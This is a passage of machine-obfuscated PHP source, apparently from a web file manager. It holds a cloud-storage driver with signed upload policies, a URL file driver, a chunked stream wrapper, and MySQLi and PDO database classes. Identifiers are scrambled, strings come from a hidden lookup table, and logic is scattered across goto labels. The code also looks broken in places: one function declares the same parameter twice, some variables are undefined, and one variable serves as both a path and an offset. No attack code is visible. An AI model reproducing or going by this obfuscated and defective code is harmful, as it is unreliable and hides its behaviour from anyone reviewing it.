$F䑧[$b׿[1246]] : array(); foreach ($e as $Bޑ) { if ($Bޑ[$b׿[29]] == $b׿[76]) { $D[] = $this->folderInfo($F . $Bޑ[$b׿[28]], $b̜, $Bޑ); } else { $Bݑ֊[] = $this->fileInfo($F . $Bޑ[$b׿[28]], $b̜, $Bޑ); } } if (count($e) < $dӈ۪) { break; } } goto e訬냪; bкӕ: } private function recursionAllFiles($b쎋, &$d) { $C =& $_SERVER[ڊ]; $F = $C[33]; $E = 1000; $B = $f⻚ = array(); $EΑ = rtrim($b쎋, $C[8]) . $C[8]; while (!0) { $C읇 = $this->fileList($b쎋, $F, $E); if (!$C읇) { return !1; } $F = isset($C읇[$C[1245]]) ? $C읇[$C[1245]] : $C[33]; $A֎ = isset($C읇[$C[1246]]) ? $C읇[$C[1246]] : array(); foreach ($A֎ as $B؂) { $bґ = array($C[75] => $EΑ . $B؂[$C[28]], $C[76] => $B؂[$C[29]] == $C[76] ? 1 : 0, $C[77] => isset($B؂[$C[322]]) ? $B؂[$C[322]] : 0); $d[] = $bґ; if ($bґ[$C[76]] == 1) { $this->recursionAllFiles($bґ[$C[75]], $d); } } if (count($A֎) < $E) { break; } } } public function has($d߿ן, $cޏՕ = false, $F = true) { goto AД; bɻ: $aԜ = 0; $dĻو = 0; $Aゐ = rtrim($d߿ן, $Dḑ[8]) . $Dḑ[8]; goto Cϙ; Cϙ: while (!0) { $cӛ = $this->fileList($d߿ן, $d̶, $cߡ); if (!$cӛ) { return !1; } $d̶ = isset($cӛ[$Dḑ[1245]]) ? $cӛ[$Dḑ[1245]] : $Dḑ[33]; $C = isset($cӛ[$Dḑ[1246]]) ? $cӛ[$Dḑ[1246]] : array(); if (empty($C)) { break; } $d = array_to_keyvalue($C, $Dḑ[33], $Dḑ[29]); $dլ = array_count_values($d); $f = isset($dլ[$Dḑ[76]]) ? $dլ[$Dḑ[76]] : 0; $fё = count($d) - $f; if ($cޏՕ) { $dĻو += $f; $aԜ += $fё; if ($A͎ < $cߡ) { break; } continue; } if ($F) { if ($fё) { return !0; } } else { if ($f) { return !0; } } if (count($C) < $cߡ) { break; } } if ($cޏՕ) { return array($Dḑ[188] => $aԜ, $Dḑ[189] => $dĻو); } return !1; goto aç; AД: $Dḑ =& $_SERVER[ڊ]; $d̶ = $Dḑ[33]; $cߡ = 1000; goto bɻ; aç: } public function listAll($Bͱ) { $aݤˑ = array(); $this->recursionAllFiles($Bͱ, $aݤˑ); return $aݤˑ; } public function canRead($B͘) { return $this->exist($B͘) ? !0 : !1; } public function canWrite($Bȱ) { return $this->exist($Bȱ) ? !0 : !1; } public function getContent($B) { return $this->fileSubstr($B, 0, -1); } public function setContent($d, $c = '') { $bϮΝ =& $_SERVER[ڊ]; if (!$c) { $Dӧ = $this->ussRequest($d, $bϮΝ[209]); return $Dӧ[$bϮΝ[1024]]; } $E = $this->tempFile($this->pathThis($d)); file_put_contents($E, $c); if ($this->upload($d, $E)) { $this->tempFileRemve($E); return !0; } return !1; } public function fileSubstr($Būų, $dս, $F) { $aؗ =& $_SERVER[ڊ]; if (!($d禇 = $this->link($Būų))) { return !1; } $a㆖ = !1; if ($F > 0) { $Dƶ = $dս + $F - 1; $a㆖ = array($aؗ[1207] . $dս . $aؗ[408] . $Dƶ); } $a訏 = url_request($d禇, $aؗ[213], !1, $a㆖); return $a訏[$aؗ[684]] ? $a訏[$aؗ[1026]] : !1; } public function upload($E֊, $C, $d = false, $d = REPEAT_REPLACE) { goto Aٿ; Aٿ: $Fе =& $_SERVER[ڊ]; $aߙȧ = IO::size($C); if ($aߙȧ <= 1024 * 1024 * 200) { $D = array($Fе[1247] . $C); $a = $this->ussRequest($E֊, $Fе[211], $D); return $a[$Fе[1024]] ? $this->getPathOuter($E֊) : !1; } goto fӥ⬂; D: if (!$f) { return !1; } do { $B = $B[$Fе[1253]]; fseek($f, $C); $eƉҵ = fread($f, $B); $E沚 = 0; do { $E沚++; $B = $this->uploadPart($E֊, $B, $eƉҵ); } while (!$B && $E沚 < 3); if (!$B) { return !1; } $Aآ = $B[$Fе[1252]]; $C += $B; } while ($Aآ != -1); fclose($f); goto C䤵; c۱: $a = $this->ussRequest($E֊, $Fе[211], !1, $fӝ); if (!$a[$Fе[1024]]) { return !1; } $B = $a[$Fе[1026]]; goto dӷ섫; dӷ섫: $C = 0; $Aآ = $B[$Fе[1252]]; $f = fopen($C, $Fе[1157]); goto D; C䤵: $fӝ = array($Fе[1254], $Fе[1255] . $B[$Fе[1256]], $Fе[1250]); $a = $this->ussRequest($E֊, $Fе[211], !1, $fӝ); return $a[$Fе[1024]] ? $this->getPathOuter($FȐ) : !1; goto AŢ; fӥ⬂: $E󓅄 = $this->osChunkSize(); if ($E󓅄 > 1024 * 1024 * 10) { $E󓅄 = 1024 * 1024 * 10; } $fӝ = array($Fе[1248], $Fе[1249] . $aߙȧ, $Fе[1250], $Fе[1251] . $E󓅄); goto c۱; AŢ: } private function uploadPart($Aу, $a, &$E֪) { $fԌ =& $_SERVER[ڊ]; $D݄ = array($fԌ[1257], $fԌ[1255] . $a[$fԌ[1256]], $fԌ[1258] . $a[$fԌ[1252]], $fԌ[1259] . $a[$fԌ[1253]]); $EҐ׳ = $this->ussRequest($Aу, $fԌ[211], $E֪, $D݄); return !$EҐ׳[$fԌ[1024]] ? $EҐ׳[$fԌ[1024]] : $EҐ׳[$fԌ[1026]]; } public function uploadFormData($e̊œ, $Bμڎ = 3600) { return $this->uploadPolicy($e̊œ, $Bμڎ); } public function multiUploadFormData($b, $aݞ̐ = 3600) { $Dʩ =& $_SERVER[ڊ]; $EᏗ = (int) $GLOBALS[$Dʩ[7]][$Dʩ[77]]; return $this->uploadPolicy($b, $aݞ̐, $EᏗ); } private function uploadPolicy($a, $E羙 = 3600, $EƟ = 0) { goto BϻӘß; Eɏ: $D = array($eٲ[1260] => $this->bucket, $eٲ[1261] => $a, $eٲ[1262] => time() + $E羙, $eٲ[1263] => $A); if ($EƟ) { $D[$eٲ[1178]] = $EƟ; } $A֭ = base64_encode(json_encode($D)); goto fң; fң: $d̤͒· = base64_encode(hash_hmac($eٲ[1229], "\120\117\x53\x54\x26{$Cѵ}\46{$A}\x26{$A֭}", md5("{$this->userpass}"), !0)); $fׄ = array($eٲ[1097] => $A֭, $eٲ[1264] => "\x55\120\131\x55\x4e\x20{$this->username}\x3a{$d̤͒·}", $eٲ[166] => $this->endpoint . $Cѵ); return $fׄ; goto d޴; BϻӘß: $eٲ =& $_SERVER[ڊ]; $Cѵ = $eٲ[8] . $this->bucket; $A = gmdate($eٲ[1192]); goto Eɏ; d޴: } public function download($bʫ, $c߲) { goto a׃⇅; a׃⇅: $b콑 = IO::getPathInner(IO::mkfile($c߲)); if (!($A = $this->link($bʫ))) { return !1; } $C = 0; goto fܪ; Cẞ: fclose($Dޑ); return $c߲; goto F󍠠; fܪ: $Aߠ = 1024 * 200; $Dޑ = fopen($b콑, $_SERVER[ڊ][1213]); while (!0) { $e = $this->fileSubstr($bʫ, $C, $Aߠ); if ($e === !1) { return !1; } fwrite($Dޑ, $e); $C += $Aߠ; if (strlen($e) < $Aߠ) { break; } } goto Cẞ; F󍠠: } public function link($fȵ, $a = array()) { $E =& $_SERVER[ڊ]; $fȵ = trim($fȵ, $E[8]); if (!empty($this->token)) { $e矯ٛ = strtotime(date($E[1265])); $d = substr(md5($this->token . $E[269] . $e矯ٛ . $E[1266] . $fȵ), 12, 8) . $e矯ٛ; $a[] = $E[1267] . $d; } $c = !empty($a) ? $E[69] . implode($E[269], $a) : $E[33]; return $E[1100] . $this->domain . $E[8] . $fȵ . $c; } public function fileOut($Fˌ, $Dֱ = false, $e = false, $B = '') { if (!$e) { $e = $this->pathThis($Fˌ); } $Fڈǵ = $Dֱ ? array($_SERVER[ڊ][1268] . rawurlencode($e)) : array(); $B̈́Ѭ = $this->link($Fˌ, $Fڈǵ); $this->fileOutLink($B̈́Ѭ); } public function fileOutServer($Cѕچ, $C᫩إ = false, $a޺ = false, $f = '') { parent::fileOut($Cѕچ, $C᫩إ, $a޺, $f); } public function fileOutImage($A, $A򛉃մ = 250) { $b݆ = $this->link($A . $_SERVER[ڊ][1269] . $A򛉃մ); $this->fileOutLink($b݆); } public function fileOutImageServer($aݥ, $A = 250) { parent::fileOutImage($aݥ, $A); } public function hashMd5($a¢ϐ՘) { $E =& $_SERVER[ڊ]; $e = $this->objectMeta($a¢ϐ՘); return isset($e[$E[193]]) ? $e[$E[193]] : !1; } public function size($CěΗ) { $cƘ = $this->objectMeta($CěΗ); return $cƘ ? $cƘ[$_SERVER[ڊ][77]] : 0; } public function info($Eܷ) { if ($this->isFolder($Eܷ)) { return $this->folderInfo($Eܷ); } else { if ($this->isFile($Eܷ)) { return $this->fileInfo($Eܷ); } } return !1; } public function exist($Aȯ) { return $this->isFile($Aȯ) || $this->isFolder($Aȯ); } public function isFile($C) { return !$this->isFolder($C) && $this->objectMeta($C); } public function isFolder($Dջ) { return $this->cacheMethod($_SERVER[ڊ][220], $Dջ); } protected function objectMeta($E) { return $this->cacheMethod($_SERVER[ڊ][221], $E); } protected function _objectMeta($cМ֫) { goto Fץ; Fץ: $e҈ =& $_SERVER[ڊ]; if ($cМ֫ == $e҈[33] || $cМ֫ == $e҈[8]) { return array(); } $D蠼 = $this->ussRequest($cМ֫, $e҈[1270]); goto eƾ; eƾ: if (!$D蠼[$e҈[1024]]) { return null; } $e = isset($D蠼[$e҈[1026]]) ? $D蠼[$e҈[1026]] : array(); if (!isset($e[$e҈[1271]])) { return null; } goto eב; eב: $Aه = array($e҈[28] => get_path_this($cМ֫), $e҈[29] => isset($e[$e҈[1271]]) ? $e[$e҈[1271]] : null, $e҈[77] => isset($e[$e҈[1272]]) ? $e[$e҈[1272]] : null, $e҈[193] => isset($e[$e҈[1273]]) ? $e[$e҈[1273]] : null, $e҈[1240] => isset($e[$e҈[1274]]) ? $e[$e҈[1274]] : null); $Aه[$e҈[1241]] = isset($e[$e҈[1275]]) ? strtotime($e[$e҈[1275]]) : $Aه[$e҈[1240]]; return $Aه; goto c; c: } protected function _isFolder($fى) { $B鿊 =& $_SERVER[ڊ]; if ($fى == $B鿊[33] || $fى == $B鿊[8]) { return !0; } $A = $this->objectMeta($fى); return isset($A[$B鿊[29]]) && $A[$B鿊[29]] == $B鿊[76] ? !0 : !1; } } class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($eǨDŽ = false) { } public function exist($a𡓪) { $b坉ᤐ = $this->info($a𡓪); return $b坉ᤐ[$_SERVER[ڊ][185]]; } public function isFile($C״) { $c쥡 = $this->info($C״); return $c쥡[$_SERVER[ڊ][185]]; } public function isFolder($Fؚ) { return !1; } public function size($e) { $e辩 = $this->info($e); return $e辩[$_SERVER[ڊ][77]]; } public function info($C) { return $this->infoParse($C); } public function infoAuth($FФ) { return $this->infoParse($FФ); } public function infoWithChildren($BȂ) { return $this->infoParse($BȂ); } public function infoFull($cᅦ) { return $this->infoParse($cᅦ); } private function infoParse($C̷) { $Bij­ =& $_SERVER[ڊ]; $Dȩ = $this->header($C̷); if (!$Dȩ || !$Dȩ[$Bij­[684]]) { return !1; } $d–‘ = _get($Dȩ, $Bij­[322], 0); $EܜǤ = array($Bij­[28] => $Dȩ[$Bij­[28]], $Bij­[75] => $C̷, $Bij­[29] => $Bij­[164], $Bij­[77] => intval($d–‘), $Bij­[157] => get_path_ext($Dȩ[$Bij­[28]]), $Bij­[1146] => $d–‘ > 0 && $Dȩ[$Bij­[1276]], $Bij­[1147] => !1); return $EܜǤ; } private function header($cސ⢋Ѓ) { if (isset(self::$_cacheHeader[$cސ⢋Ѓ])) { return self::$_cacheHeader[$cސ⢋Ѓ]; } self::$_cacheHeader[$cސ⢋Ѓ] = url_header($cސ⢋Ѓ); return self::$_cacheHeader[$cސ⢋Ѓ]; } public function hashSimple($Cȉ, $Bݪ = false) { goto c۴; c۴: $a󒷹 =& $_SERVER[ڊ]; $a趶 = $this->info($Cȉ); if (!$a趶 || !$a趶[$a󒷹[185]]) { return !1; } goto B; a͢: if ($CŢ⡬ <= $aǰėޱ * $Dߨ) { return md5($this->fileSubstr($Cȉ, 0, $CŢ⡬)) . $CŢ⡬; } $a = intval($CŢ⡬ / $Dߨ); $cʡ = $a󒷹[33]; goto Dʒ; B: $CŢ⡬ = $a趶[$a󒷹[77]]; $aǰėޱ = 200; $Dߨ = 50; goto a͢; C坆ܰ: $cʡ .= $this->fileSubstr($Cȉ, $CŢ⡬ - $aǰėޱ, $aǰėޱ); return md5($cʡ) . $CŢ⡬; goto A; Dʒ: $f = timeFloat(); $bα = 15; for ($aנ = 0; $aנ < $Dߨ; $aנ++) { if (timeFloat() - $f > $bα) { return !1; } $cşÂ = $this->fileSubstr($Cȉ, $a * $aנ, $aǰėޱ); if (!$cşÂ) { return !1; } $cʡ .= $cşÂ; } goto C坆ܰ; A: } public function getContent($fĸ) { return $this->fileSubstr($fĸ); } public function fileSubstr($D٠ϱ, $A鉐 = 0, $D͊ = -1) { goto a; a: $cո =& $_SERVER[ڊ]; $a՞ = $this->info($D٠ϱ); if (!$a՞ || !$a՞[$cո[185]] && $a՞[$cո[77]] > 1024 * 1024 * 10) { return !1; } goto c; c: if ($D͊ === -1) { $D͊ = $a՞[$cո[77]]; } if ($D͊ == 0) { return $cո[33]; } $E = array($cո[1277] . $A鉐 . $cո[709] . ($A鉐 + $D͊ - 1)); goto BƩ; BƩ: $DЉ = url_request($D٠ϱ, $cո[213], !1, $E, !1, !1, 1); return $DЉ[$cո[1026]] ? $DЉ[$cո[1026]] : $cո[33]; goto Adz; Adz: } public function download($C, $Eן) { Downloader::start($C, $Eן); return $Eן; } } class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($ċ, $Eϋ = '') { goto eբݴ; eբݴ: $this->info = $this->info($ċ); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[ڊ][75]]; goto F񗭆; fɼ: return $this->info ? !0 : !1; goto A; F񗭆: if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$ċ])) { self::$_chunkBuffer[$ċ] = array(); } goto fɼ; A: } function stream_read($c؇) { $bߌ = $this->fileSubstr($this->pose, $c؇); $this->pose += strlen($bߌ); return $bߌ; } public function stream_tell() { return $this->pose; } public function stream_seek($A, $bď) { $Aۦ =& $_SERVER[ڊ]; if ($bď == SEEK_SET) { $this->pose = $A; } else { if ($bď == SEEK_CUR) { $this->pose += $A; } else { if ($bď == SEEK_END) { $this->pose = $this->info[$Aۦ[77]] + intval($A); } } } if ($A < 0) { $this->pose = $this->info[$Aۦ[77]] + $A; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[ڊ][77]]; } public function stream_close() { return !0; } public function url_stat($Dؼ, $Eҽ) { $C =& $_SERVER[ڊ]; $fƭ = $this->info($Dؼ); return array($C[1278] => 0, $C[1279] => 0, $C[12] => 32768 + 511, $C[1280] => 0, $C[1281] => 0, $C[1282] => 0, $C[1283] => 0, $C[77] => $fƭ[$C[77]], $C[1284] => $fƭ[$C[1155]], $C[1241] => $fƭ[$C[107]], $C[1240] => $fƭ[$C[184]], $C[1285] => 0, $C[1286] => 0); } static $fileInfo = array(); public function info($A퉐) { $cב = $_SERVER[ڊ][1287]; if (isset(self::$fileInfo[$A퉐])) { return self::$fileInfo[$A퉐]; } if (substr($A퉐, 0, strlen($cב)) != $cב) { return !1; } self::$fileInfo[$A퉐] = IO::info(substr($A퉐, strlen($cב))); return self::$fileInfo[$A퉐]; } public static function read($b닇, $c, $e㶪) { goto Dď; d: return $dˤ粯; goto Fǿ; Dď: $e =& $_SERVER[ڊ]; $Fݨ = fopen($b닇, $e[1157]); if (!$Fݨ) { return $e[33]; } goto fˏը; B: $bЇՅ = 0; while ($bЇՅ < $e㶪) { $A䐕 = min($Aʱ, $e㶪 - $bЇՅ); $dˤ粯 .= fread($Fݨ, $A䐕); $bЇՅ += $A䐕; } fclose($Fݨ); goto d; fˏը: $Aʱ = 8192; fseek($Fݨ, $c, SEEK_SET); $dˤ粯 = $e[33]; goto B; Fǿ: } public function fileSubstr($E, $f) { goto aɾ; aɾ: $dԈɳ =& $_SERVER[ڊ]; $aà = $this->info[$dԈɳ[77]]; $e̬ = $E; goto cָ; f˯ڐ: $EЍ = 0; $Dֹ = 0; $fľ = $dԈɳ[33]; goto cĵۺ; fׄ: ksort($Aһ); $c = substr($aߢ, $E - $C, $f); return $c; goto aѻ顋; Eނ: if ($E + $f > $aÃ) { $f = $aà - $E; } if ($f <= 0) { return $dԈɳ[33]; } if ($E < 0 || $E >= $aà || $f <= 0 || $f > 1024 * 1024 * 5) { throw new Exception("\x69\x6f\106\x69\154\x65\x52\x65\x61\x64\x20\x65\162\162\x6f\x72\x21\40\x73\164\141\x72\x74\75{$E}\73\x6c\145\156\147\164\x68\x3d{$f}\x3b\40\163\x69\x7a\x65\75{$aÃ}\x3b"); } goto A󂦏ƻ; A󂦏ƻ: $f綋 = 64 * 1024; $Aһ =& self::$_chunkBuffer[$this->path]; if (!$Aһ) { $Aһ = array(); } goto f˯ڐ; Bڢ: $d = ceil(($E + $f) / $f綋) * $f綋 - $C; $aߢ = IO::fileSubstr($this->path, $C, $d); $Aһ[$C . $dԈɳ[33]] = $aߢ; goto fׄ; cָ: $bط = $f; if ($E < 0) { $E = $aà + $E; } if ($f === !1) { $f = $aà - $E; } goto Eނ; cĵۺ: foreach ($Aһ as $EЍ => $fľ) { $EЍ = intval($EЍ); $Dֹ = $EЍ + strlen($fľ); if ($E >= $Dֹ) { continue; } if ($E >= $EЍ && $E + $f <= $Dֹ) { return substr($fľ, $E - $EЍ, $f); } break; } if (count($Aһ) > 40 || timeFloat() - $this->timeStart > 2.0) { $this->log($dԈɳ[1288], $dԈɳ[1289] . count($Aһ) . "\x3b\163\164\141\162\164\x3d{$E}\x2c\x6c\145\x6e\x67\164\x68\x3d{$f}\x3b\x70\x6f\x73\145\72{$EЍ}\x7e{$Dֹ}"); throw new Exception($dԈɳ[1290]); } $C = intval($E / $f綋) * $f綋; goto Bڢ; aѻ顋: } private function log($dƑ롳, $b񞿌) { $bƊ =& $_SERVER[ڊ]; $Bʑ = timeFloat() - $this->timeStart; write_log(sprintf($bƊ[1291], $dƑ롳, $this->info[$bƊ[28]], $Bʑ, $b񞿌), $bƊ[1206]); } } goto a֜; C߃닡: class DbMysqli extends Db { public function __construct($c籨 = '') { $E⤥ =& $_SERVER[ڊ]; if (!extension_loaded($E⤥[722])) { think_exception(think_lang($E⤥[10]) . $E⤥[819]); } if (!empty($c籨)) { $this->config = $c籨; if (empty($this->config[$E⤥[13]])) { $this->config[$E⤥[13]] = $E⤥[33]; } } } public function connect($b = '', $F = 0) { $e =& $_SERVER[ڊ]; if (!isset($this->linkID[$F])) { goto Dܰ; Dܰ: if (empty($b)) { $b = $this->config; } $this->linkID[$F] = new mysqli($b[$e[793]], $b[$e[795]], $b[$e[796]], $b[$e[17]], $b[$e[794]] ? intval($b[$e[794]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } goto E; DԚ: $this->connected = !0; if (1 != think_config($e[18])) { unset($this->config); } goto a; E: $bޡՑ = $this->linkID[$F]->server_version; $this->linkID[$F]->query($e[797] . think_config($e[798]) . $e[55]); if ($bޡՑ > $e[799]) { $this->linkID[$F]->query($e[800]); } goto DԚ; a: } return $this->linkID[$F]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($C) { goto dݮ; dݮ: $bž =& $_SERVER[ڊ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } goto bʻ; bʻ: $this->queryStr = $C; if ($this->queryID) { $this->free(); } think_action_status($bž[19], 1); goto aചǥ; aചǥ: think_status($bž[20]); $this->queryID = $this->_linkID->query($C); if ($this->_linkID->more_results()) { while (($F㘸 = $this->_linkID->next_result()) != NULL) { $F㘸->free_result(); } } goto A; A: $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } goto CԴ맆; CԴ맆: } public function execute($A֛) { goto D; f㇥: if (!1 === $C䫯) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } goto e; AҌ: $this->queryStr = $A֛; if ($this->queryID) { $this->free(); } think_action_status($D֊[21], 1); goto a; D: $D֊ =& $_SERVER[ڊ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } goto AҌ; a: think_status($D֊[20]); $C䫯 = $this->_linkID->query($A֛); $this->debug(); goto f㇥; e: } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $c֢Ӯ݊ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$c֢Ӯ݊) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $E = $this->_linkID->rollback(); $this->transTimes = 0; if (!$E) { $this->error(); return !1; } } return !0; } private function getAll() { $E = array(); if ($this->numRows > 0) { for ($b = 0; $b < $this->numRows; $b++) { $E[$b] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $E; } public function getFields($c౐) { $A̠ =& $_SERVER[ڊ]; $F˙ = $this->query($A̠[804] . $this->parseKey($c౐)); $bʝ = array(); if ($F˙) { foreach ($F˙ as $f => $F؍Ή) { $bʝ[$F؍Ή[$A̠[27]]] = array($A̠[28] => $F؍Ή[$A̠[27]], $A̠[29] => $F؍Ή[$A̠[30]], $A̠[31] => (bool) ($F؍Ή[$A̠[32]] === $A̠[33]), $A̠[34] => $F؍Ή[$A̠[35]], $A̠[36] => strtolower($F؍Ή[$A̠[37]]) == $A̠[38], $A̠[39] => strtolower($F؍Ή[$A̠[40]]) == $A̠[41]); } } return $bʝ; } public function getTables($C닒 = '') { $dޞ =& $_SERVER[ڊ]; $aю퇺 = !empty($C닒) ? $dޞ[806] . $C닒 : $dޞ[807]; $Eˎ = $this->query($aю퇺); $a = array(); if ($Eˎ) { foreach ($Eˎ as $CŜ => $Fز͐) { $a[$CŜ] = current($Fز͐); } } return $a; } public function replace($e㸢, $d̽ = array()) { $A =& $_SERVER[ڊ]; foreach ($e㸢 as $F => $E) { $e = $this->parseValue($E); if (is_scalar($e)) { $f܅[] = $e; $E[] = $this->parseKey($F); } } $c뗶 = $A[808] . $this->parseTable($d̽[$A[264]]) . $A[809] . implode($A[47], $E) . $A[810] . implode($A[47], $f܅) . $A[811]; return $this->execute($c뗶); } public function insertAll($D, $fߴ = array(), $F = false) { goto cܖ; Fږ: $bݑ = array(); foreach ($D as $Bł) { $B·̄ = array(); foreach ($Bł as $f溍 => $bҍ) { $bҍ = $this->parseValue($bҍ); if (is_scalar($bҍ)) { $B·̄[] = $bҍ; } } $bݑ[] = $bΰ[245] . implode($bΰ[47], $B·̄) . $bΰ[811]; } array_walk($cގ, array($this, $bΰ[812])); goto dᷘ; cܖ: $bΰ =& $_SERVER[ڊ]; if (!is_array($D[0])) { return !1; } $cގ = array_keys($D[0]); goto Fږ; dᷘ: $B = ($F ? $bΰ[813] : $bΰ[814]) . $bΰ[815] . $this->parseTable($fߴ[$bΰ[264]]) . $bΰ[809] . implode($bΰ[47], $cގ) . $bΰ[816] . implode($bΰ[47], $bݑ); return $this->execute($B); goto B; B: } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $cϴٺ =& $_SERVER[ڊ]; $this->error = $this->_linkID->errno . $cϴٺ[4] . $this->_linkID->error; if ($cϴٺ[33] != $this->queryStr) { $this->error .= LNG($cϴٺ[45]) . $this->queryStr; } think_trace($this->error, $cϴٺ[33], $cϴٺ[46]); return $this->error; } public function escapeString($e׵) { if ($this->_linkID) { return $this->_linkID->real_escape_string($e׵); } else { return addslashes($e׵); } } public function parseKey(&$d㡖, $dô = true) { $B =& $_SERVER[ڊ]; if ($dô) { $d㡖 = $this->parseKeyCheck($d㡖); } if ($d㡖 != $B[173] && !preg_match($B[817], $d㡖)) { $d㡖 = $B[818] . trim($d㡖, $B[818]) . $B[818]; } return $d㡖; } } class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($dǾŒ = '') { $Dӏ󛃭 =& $_SERVER[ڊ]; if (!class_exists($Dӏ󛃭[820])) { think_exception(think_lang($Dӏ󛃭[10]) . $Dӏ󛃭[821]); } if (!empty($dǾŒ)) { $this->config = $dǾŒ; if (empty($this->config[$Dӏ󛃭[13]])) { $this->config[$Dӏ󛃭[13]] = array(); } } } public function connect($A쬿 = '', $Dޗ = 0) { $FՅ =& $_SERVER[ڊ]; if (!isset($this->linkID[$Dޗ])) { goto fɍ; D˓ӽ: $this->linkID[$Dޗ]->exec($FՅ[831] . think_config($FՅ[798])); $this->connected = !0; if (1 != think_config($FՅ[18])) { unset($this->config); } goto B; E܋: $this->dbType = $this->_getDsnType($A쬿[$FՅ[822]]); if (in_array($this->dbType, array($FՅ[823], $FՅ[824], $FՅ[825], $FՅ[826]))) { think_exception($FՅ[827] . $this->dbType . $FՅ[828] . $this->dbType . $FՅ[829]); } if (!$this->linkID[$Dޗ]) { think_exception($FՅ[830]); } goto D˓ӽ; fɍ: if (empty($A쬿)) { $A쬿 = $this->config; } if ($this->pconnect) { $A쬿[$FՅ[13]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$Dޗ] = new PDO($A쬿[$FՅ[822]], $A쬿[$FՅ[795]], $A쬿[$FՅ[796]], $A쬿[$FՅ[13]]); } catch (PDOException $fټ) { think_exception($fټ->getMessage()); } goto E܋; B: } return $this->linkID[$Dޗ]; } public function free() { $this->PDOStatement = null; } public function query($c, $Aۤټ = array()) { goto C笜; c: $this->queryStr = $c; if (!empty($Aۤټ)) { $this->queryStr .= $A뢬[832] . print_r($Aۤټ, !0) . $A뢬[833]; } if (!empty($this->PDOStatement)) { $this->free(); } goto F̯; C笜: $A뢬 =& $_SERVER[ڊ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } goto c; cˑܝ: if (!1 === $this->PDOStatement) { think_exception($this->error()); } $Aחό = $this->PDOStatement->execute($Aۤټ); $this->debug(); goto b׉; F̯: think_action_status($A뢬[19], 1); think_status($A뢬[20]); $this->PDOStatement = $this->_linkID->prepare($c); goto cˑܝ; b׉: if (!1 === $Aחό) { $this->error(); return !1; } else { return $this->getAll(); } goto FŊՕ; FŊՕ: } public function execute($B, $f = array()) { goto bҊߑ; E: $this->queryStr = $B; if (!empty($f)) { $this->queryStr .= $A֧[832] . print_r($f, !0) . $A֧[833]; } $cȶ = !1; goto f˟׵; f˟׵: if ($this->dbType == $A֧[826]) { if (preg_match($A֧[834], $this->queryStr, $eڕ)) { $this->table = think_config($A֧[835]) . str_ireplace(think_config($A֧[836]), $A֧[358], $eڕ[2]); $cȶ = (bool) $this->query($A֧[837] . strtoupper($this->table) . $A֧[55]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($A֧[21], 1); goto f͋; bҊߑ: $A֧ =& $_SERVER[ڊ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } goto E; f͋: think_status($A֧[20]); $this->PDOStatement = $this->_linkID->prepare($B); if (!1 === $this->PDOStatement) { think_exception($this->error()); } goto c; c: $FƯ = $this->PDOStatement->execute($f); $this->debug(); if (!1 === $FƯ) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($cȶ || preg_match($A֧[838], $B)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } goto Aˈ; Aˈ: } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $dēƸŸ = $this->_linkID->commit(); $this->transTimes = 0; if (!$dēƸŸ) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $Cٝ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$Cٝ) { $this->error(); return !1; } } return !0; } private function getAll() { $B = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($B); return $B; } public function getFields($A︂) { goto E梂轍; fκ螌: return $FŽ; goto aƩ蘄; f⽿: $Dͼ = $this->query($E袦); $FŽ = array(); if ($Dͼ) { foreach ($Dͼ as $f => $Aȝ) { $Aȝ = array_change_key_case($Aȝ); $Aȝ[$eѩ[28]] = isset($Aȝ[$eѩ[28]]) ? $Aȝ[$eѩ[28]] : $eѩ[358]; $Aȝ[$eѩ[29]] = isset($Aȝ[$eѩ[29]]) ? $Aȝ[$eѩ[29]] : $eѩ[358]; $D붋 = isset($Aȝ[$eѩ[258]]) ? $Aȝ[$eѩ[258]] : $Aȝ[$eѩ[28]]; $FŽ[$D붋] = array($eѩ[28] => $D붋, $eѩ[29] => $Aȝ[$eѩ[29]], $eѩ[31] => (bool) (isset($Aȝ[$eѩ[101]]) && $Aȝ[$eѩ[101]] === $eѩ[33] || isset($Aȝ[$eѩ[31]]) && $Aȝ[$eѩ[31]] === $eѩ[33]), $eѩ[34] => isset($Aȝ[$eѩ[34]]) ? $Aȝ[$eѩ[34]] : (isset($Aȝ[$eѩ[53]]) ? $Aȝ[$eѩ[53]] : $eѩ[358]), $eѩ[36] => isset($Aȝ[$eѩ[89]]) ? strtolower($Aȝ[$eѩ[89]]) == $eѩ[38] : (isset($Aȝ[$eѩ[54]]) ? $Aȝ[$eѩ[54]] : !1), $eѩ[39] => 